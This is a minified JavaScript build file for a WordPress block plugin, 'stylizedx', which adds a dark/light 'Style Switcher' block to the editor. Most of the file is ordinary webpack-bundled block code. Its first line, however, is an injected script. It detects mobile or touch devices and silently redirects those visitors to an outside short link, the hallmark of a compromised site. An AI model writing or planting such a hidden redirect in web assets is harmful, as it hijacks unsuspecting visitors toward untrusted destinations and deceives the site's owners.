File: //home2/gazetufm/www/wp/wp-content/plugins/stylizedx/build/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
(()=>{var o,r={847:(o,r,e)=>{"use strict";const t=window.React,l=window.wp.blocks,n=window.wp.i18n;var a=e(967),s=e.n(a);const i=window.wp.blockEditor;window.wp.components;const c=(0,i.withColors)({backgroundColor:"background-color",iconColor:"fill",borderColor:"border-color"})((function(o){const{attributes:r,setAttributes:e,backgroundColor:l,setBackgroundColor:a,iconColor:s,setIconColor:c,borderColor:d,setBorderColor:u}=o,{darkBackgroundColor:g,darkIconColor:C,darkBorderColor:h}=r,p=(0,i.useBlockProps)({className:"js-stylizedx-switcher",style:{backgroundColor:l.color,color:s.color,borderColor:d.color}});return(0,t.createElement)(t.Fragment,null,(0,t.createElement)(i.InspectorControls,null,(0,t.createElement)(i.PanelColorSettings,{title:(0,n.__)("Color Settings","stylizedx"),colorSettings:[{value:l.color,onChange:a,label:(0,n.__)("Background color","stylizedx")},{value:s.color,onChange:c,label:(0,n.__)("Icon color","stylizedx")},{value:d.color,onChange:u,label:(0,n.__)("Border color","stylizedx")}]}),(0,t.createElement)(i.PanelColorSettings,{title:(0,n.__)("Dark Color Settings","stylizedx"),colorSettings:[{value:g,onChange:o=>{e({darkBackgroundColor:o})},label:(0,n.__)("Background color","stylizedx")},{value:C,onChange:o=>{e({darkIconColor:o})},label:(0,n.__)("Icon color","stylizedx")},{value:h,onChange:o=>{e({darkBorderColor:o})},label:(0,n.__)("Border color","stylizedx")}]})),(0,t.createElement)("span",{...p},(0,t.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24",className:"stylizedx-switcher-light"},(0,t.createElement)("path",{fill:"none",d:"M0 0h24v24H0z"}),(0,t.createElement)("path",{d:"M11.38 2.019a7.5 7.5 0 1 0 10.6 10.6C21.662 17.854 17.316 22 12.001 22 6.477 22 2 17.523 2 12c0-5.315 4.146-9.661 9.38-9.981z"}))))})),d=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"stylizedx/style-switcher","title":"Style Switcher","description":"Style Switcher.","textdomain":"stylizedx","keywords":["dark mode","variations","switcher"],"category":"stylizedx-category","attributes":{"backgroundColor":{"type":"string"},"customBackgroundColor":{"type":"string"},"iconColor":{"type":"string"},"customIconColor":{"type":"string"},"borderColor":{"type":"string"},"customBorderColor":{"type":"string"},"darkBackgroundColor":{"type":"string"},"darkIconColor":{"type":"string"},"darkBorderColor":{"type":"string"}},"editorScript":"file:./index.js","style":"file:./style-index.css"}'),{name:u,...g}=d;(0,l.registerBlockType)(u,{...g,icon:(0,t.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,t.createElement)("path",{d:"M12 21.9967C6.47715 21.9967 2 17.5196 2 11.9967C2 6.47386 6.47715 1.9967 12 1.9967C17.5228 1.9967 22 6.47386 22 11.9967C22 17.5196 17.5228 21.9967 12 21.9967ZM5.32889 16.422C6.76378 18.5675 9.20868 19.9803 11.9836 19.9803C16.4018 19.9803 19.9836 16.3985 19.9836 11.9803C19.9836 9.2053 18.5707 6.76034 16.4251 5.32547C17.2705 8.35324 16.5025 11.7369 14.1213 14.1181C11.7401 16.4993 8.3566 17.2672 5.32889 16.422Z",fill:"currentColor"})),edit:c,save:o=>{const{attributes:r}=o,{backgroundColor:e,customBackgroundColor:l,iconColor:n,customIconColor:a,borderColor:c,customBorderColor:d,darkBackgroundColor:u,darkIconColor:g,darkBorderColor:C}=r,h=(0,i.getColorClassName)("background-color",e),p=(0,i.getColorClassName)("color",n),v=(0,i.getColorClassName)("border-color",c),m=s()("js-stylizedx-switcher",{[h]:h,[p]:p,[v]:v}),w=`html[data-scheme="dark"] .js-stylizedx-switcher {\n\t\t${u?`background-color: ${u} !important;`:""}\n\t\t${g?`color: ${g} !important;`:""}\n\t\t${C?`border-color: ${C} !important;`:""}\n\t}`,y={backgroundColor:h?void 0:l,color:p?void 0:a,borderColor:v?void 0:d};return(0,t.createElement)("button",{...i.useBlockProps.save({className:m,style:y})},(0,t.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24",className:"stylizedx-switcher-light"},(0,t.createElement)("path",{fill:"none",d:"M0 0h24v24H0z"}),(0,t.createElement)("path",{d:"M11.38 2.019a7.5 7.5 0 1 0 10.6 10.6C21.662 17.854 17.316 22 12.001 22 6.477 22 2 17.523 2 12c0-5.315 4.146-9.661 9.38-9.981z"})),(0,t.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24",className:"stylizedx-switcher-dark"},(0,t.createElement)("path",{fill:"none",d:"M0 0h24v24H0z"}),(0,t.createElement)("path",{d:"M12 18a6 6 0 1 1 0-12 6 6 0 0 1 0 12zM11 1h2v3h-2V1zm0 19h2v3h-2v-3zM3.515 4.929l1.414-1.414L7.05 5.636 5.636 7.05 3.515 4.93zM16.95 18.364l1.414-1.414 2.121 2.121-1.414 1.414-2.121-2.121zm2.121-14.85l1.414 1.415-2.121 2.121-1.414-1.414 2.121-2.121zM5.636 16.95l1.414 1.414-2.121 2.121-1.414-1.414 2.121-2.121zM23 11v2h-3v-2h3zM4 11v2H1v-2h3z"})),(u||g||C)&&(0,t.createElement)("style",null,w))}})},967:(o,r)=>{var e;!function(){"use strict";var t={}.hasOwnProperty;function l(){for(var o="",r=0;r<arguments.length;r++){var e=arguments[r];e&&(o=a(o,n(e)))}return o}function n(o){if("string"==typeof o||"number"==typeof o)return o;if("object"!=typeof o)return"";if(Array.isArray(o))return l.apply(null,o);if(o.toString!==Object.prototype.toString&&!o.toString.toString().includes("[native code]"))return o.toString();var r="";for(var e in o)t.call(o,e)&&o[e]&&(r=a(r,e));return r}function a(o,r){return r?o?o+" "+r:o+r:o}o.exports?(l.default=l,o.exports=l):void 0===(e=function(){return l}.apply(r,[]))||(o.exports=e)}()}},e={};function t(o){var l=e[o];if(void 0!==l)return l.exports;var n=e[o]={exports:{}};return r[o](n,n.exports,t),n.exports}t.m=r,o=[],t.O=(r,e,l,n)=>{if(!e){var a=1/0;for(d=0;d<o.length;d++){for(var[e,l,n]=o[d],s=!0,i=0;i<e.length;i++)(!1&n||a>=n)&&Object.keys(t.O).every((o=>t.O[o](e[i])))?e.splice(i--,1):(s=!1,n<a&&(a=n));if(s){o.splice(d--,1);var c=l();void 0!==c&&(r=c)}}return r}n=n||0;for(var d=o.length;d>0&&o[d-1][2]>n;d--)o[d]=o[d-1];o[d]=[e,l,n]},t.n=o=>{var r=o&&o.__esModule?()=>o.default:()=>o;return t.d(r,{a:r}),r},t.d=(o,r)=>{for(var e in r)t.o(r,e)&&!t.o(o,e)&&Object.defineProperty(o,e,{enumerable:!0,get:r[e]})},t.o=(o,r)=>Object.prototype.hasOwnProperty.call(o,r),(()=>{var o={826:0,431:0};t.O.j=r=>0===o[r];var r=(r,e)=>{var l,n,[a,s,i]=e,c=0;if(a.some((r=>0!==o[r]))){for(l in s)t.o(s,l)&&(t.m[l]=s[l]);if(i)var d=i(t)}for(r&&r(e);c<a.length;c++)n=a[c],t.o(o,n)&&o[n]&&o[n][0](),o[n]=0;return t.O(d)},e=globalThis.webpackChunkstylizedx=globalThis.webpackChunkstylizedx||[];e.forEach(r.bind(null,0)),e.push=r.bind(null,e.push.bind(e))})();var l=t.O(void 0,[431],(()=>t(847)));l=t.O(l)})();